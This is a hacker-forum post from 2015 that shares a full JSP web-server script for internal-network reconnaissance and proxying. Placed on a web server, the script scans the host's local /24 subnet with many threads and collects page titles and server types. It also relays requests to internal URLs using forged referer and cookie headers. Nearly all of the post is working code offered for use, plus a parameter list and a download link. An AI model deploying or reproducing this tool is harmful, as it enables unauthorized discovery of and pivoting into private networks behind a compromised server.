搜索
查看: 673|回复: 0

jsp内网探测脚本&简单代理访问

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-9-9 21:48:00 | 显示全部楼层 |阅读模式
直接上图:
[/url]
[url=http://static.wooyun.org/upload/image/201509/2015090918524875746.jpg]

[/url]
[url=http://static.wooyun.org/upload/image/201509/2015090918530399061.jpg]

..
1.直接访问默认扫描当前IP的C段,获取标题、web容器.

2.可以自定义传入需要扫描的段,传入参数ip即可

3.代理访问参数为url,可简单的访问内网的web,对了,我还加载了网站里的css,做到尽量看上去和直接访问的效果一样


  1. <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  2. <%@ page isThreadSafe="false"%>
  3. <%@page import="java.io.PrintWriter"%>
  4. <%@page import="java.io.OutputStreamWriter"%>
  5. <%@page import="java.util.regex.Matcher"%>
  6. <%@page import="java.io.IOException"%>
  7. <%@page import="java.net.InetAddress"%>
  8. <%@page import="java.util.regex.Pattern"%>
  9. <%@page import="java.net.HttpURLConnection"%>
  10. <%@page import="java.util.concurrent.LinkedBlockingQueue"%>

  11. <%!final static List<String> list = new ArrayList<String>();
  12.   String referer = "";
  13.   String cookie = "";
  14.   String decode = "utf-8";
  15.   int thread = 100;

  16.   HttpURLConnection getHTTPConn(String urlString) {
  17.     try {
  18.       java.net.URL url = new java.net.URL(urlString);
  19.       java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url
  20.           .openConnection();
  21.       conn.setRequestMethod("GET");
  22.       conn.addRequestProperty("User-Agent",
  23.           "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)");
  24.       conn.addRequestProperty("Accept-Encoding", "gzip");
  25.       conn.addRequestProperty("referer", referer);
  26.       conn.addRequestProperty("cookie", cookie);
  27.       //conn.setInstanceFollowRedirects(false);
  28.       conn.setConnectTimeout(3000);
  29.       conn.setReadTimeout(3000);

  30.       return conn;
  31.     } catch (Exception e) {
  32.       return null;
  33.     }
  34.   }

  35.   HttpURLConnection conn;

  36.   String getHtmlContext(HttpURLConnection conn, String decode) {
  37.     Map<String, Object> result = new HashMap<String, Object>();
  38.     try {

  39.       String code = "utf-8";
  40.       if (decode != null) {
  41.         code = decode;
  42.       }
  43.       StringBuffer html = new StringBuffer();
  44.       java.io.InputStreamReader isr = new java.io.InputStreamReader(
  45.           conn.getInputStream(), code);
  46.       java.io.BufferedReader br = new java.io.BufferedReader(isr);

  47.       String temp;
  48.       while ((temp = br.readLine()) != null) {
  49.         if (!temp.trim().equals("")) {
  50.           html.append(temp).append("\n");
  51.         }
  52.       }
  53.       br.close();
  54.       isr.close();
  55.       return html.toString();
  56.     } catch (Exception e) {
  57.       System.out.println("getHtmlContext:"+e.getMessage());
  58.       return "null";
  59.     }
  60.   }

  61.   String getServerType(HttpURLConnection conn) {
  62.     try {
  63.       return conn.getHeaderField("Server");
  64.     } catch (Exception e) {
  65.       return "null";
  66.     }

  67.   }

  68.   String getTitle(String htmlSource) {
  69.     try {
  70.       List<String> list = new ArrayList<String>();
  71.       String title = "";
  72.       Pattern pa = Pattern.compile("<title>.*?</title>");
  73.       Matcher ma = pa.matcher(htmlSource);
  74.       while (ma.find()) {
  75.         list.add(ma.group());
  76.       }
  77.       for (int i = 0; i < list.size(); i++) {
  78.         title = title + list.get(i);
  79.       }
  80.       return title.replaceAll("<.*?>", "");
  81.     } catch (Exception e) {
  82.       return null;
  83.     }
  84.   }

  85.   List<String> getCss(String html, String url, String decode) {
  86.     List<String> cssurl = new ArrayList<String>();
  87.     List<String> csscode = new ArrayList<String>();
  88.     try {

  89.       String title = "";
  90.       Pattern pa = Pattern.compile(".*href="(.*)[.]css");
  91.       Matcher ma = pa.matcher(html.toLowerCase());
  92.       while (ma.find()) {
  93.         cssurl.add(ma.group(1) + ".css");
  94.       }

  95.       for (int i = 0; i < cssurl.size(); i++) {
  96.         String cssuuu = url + "/" + cssurl.get(i);
  97.         String csshtml = "<style>"
  98.             + getHtmlContext(getHTTPConn(cssuuu), decode)
  99.             + "</style>";
  100.         csscode.add(csshtml);

  101.       }
  102.     } catch (Exception e) {
  103.       System.out.println("getCss:"+e.getMessage());
  104.     }
  105.     return csscode;

  106.   }

  107.   String getMyIPLocal() throws IOException {
  108.     InetAddress ia = InetAddress.getLocalHost();
  109.     return ia.getHostAddress();
  110.   }%>
  111. <%
  112.   String u = request.getParameter("url");
  113.   String ip = request.getParameter("ip");

  114.   if (u != null) {
  115.     decode = request.getParameter("decode");
  116.     String ref = request.getParameter("referer");
  117.     String cook = request.getParameter("cookie");
  118.     if (ref != null) {
  119.       referer = ref;
  120.     }
  121.     if (cook != null) {
  122.       cookie = cook;
  123.     }
  124.     String html = getHtmlContext(getHTTPConn(u), decode);
  125.     List<String> css = getCss(html, u, decode);
  126.     String csshtml = "";
  127.     if (!html.equals("null")) {

  128.       for (int i = 0; i < css.size(); i++) {
  129.         csshtml += css.get(i);
  130.       }
  131.       out.print(html + csshtml);
  132.     } else {
  133.       response.setStatus(HttpServletResponse.SC_NOT_FOUND);
  134.       out.print("请求失败!");
  135.     }

  136.     return;
  137.   }

  138.   else if (ip != null || u == null) {
  139.     String threadpp = (request.getParameter("thread"));
  140.     if (threadpp != null) {
  141.       thread = Integer.parseInt(threadpp);
  142.       System.out.println(threadpp);
  143.     }
  144.     try {
  145.       try {
  146.         String http = "http://";
  147.         String localIP = getMyIPLocal();
  148.         if (ip != null) {
  149.           localIP = ip;
  150.         }
  151.         String useIP = localIP.substring(0,
  152.             localIP.lastIndexOf(".") + 1);
  153.         final Queue<String> queue = new LinkedBlockingQueue<String>();
  154.         for (int i = 1; i <= 256; i++) {
  155.           String url = http + useIP + i;
  156.           queue.offer(url);
  157.         }
  158.         final JspWriter pw = out;
  159.         ThreadGroup tg = new ThreadGroup("c");
  160.         for (int i = 0; i < thread; i++) {
  161.           new Thread(tg, new Runnable() {
  162.             public void run() {
  163.               while (true) {
  164.                 String addr = queue.poll();
  165.                 if (addr != null) {
  166.                   System.out.println(addr);
  167.                   HttpURLConnection conn = getHTTPConn(addr);
  168.                   String html = getHtmlContext(conn,
  169.                       decode);
  170.                   String title = getTitle(html);
  171.                   String serverType = getServerType(conn);
  172.                   String status = !html
  173.                       .equals("null") ? "Success"
  174.                       : "Fail";
  175.                   if (html != null
  176.                       && !status.equals("Fail")) {
  177.                     try {
  178.                       pw.println(addr + "  >>  "+ title + ">>"+ serverType+ " >>" + status+ "<br/>");
  179.                     } catch (Exception e) {
  180.                       e.printStackTrace();
  181.                     }
  182.                   }
  183.                 } else {
  184.                   return;
  185.                 }
  186.               }
  187.             }
  188.           }).start();
  189.         }
  190.         while (tg.activeCount() != 0) {
  191.         }
  192.       } catch (Exception e) {
  193.         e.printStackTrace();
  194.       }
  195.     } catch (Exception e) {
  196.       out.println(e.toString());
  197.     }
  198.   }
  199. %>
复制代码

  1. 参数:
  2. ip [需要探测的ip段]

  3. url [需要请求的地址]

  4. 其他参数:

  5. thread [指定线程数]

  6. decode [指定编码]

  7. referer  [伪造referer]

  8. cookie [伪造cookie]
复制代码


Link:http://pan.baidu.com/s/1qWDsv3e

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表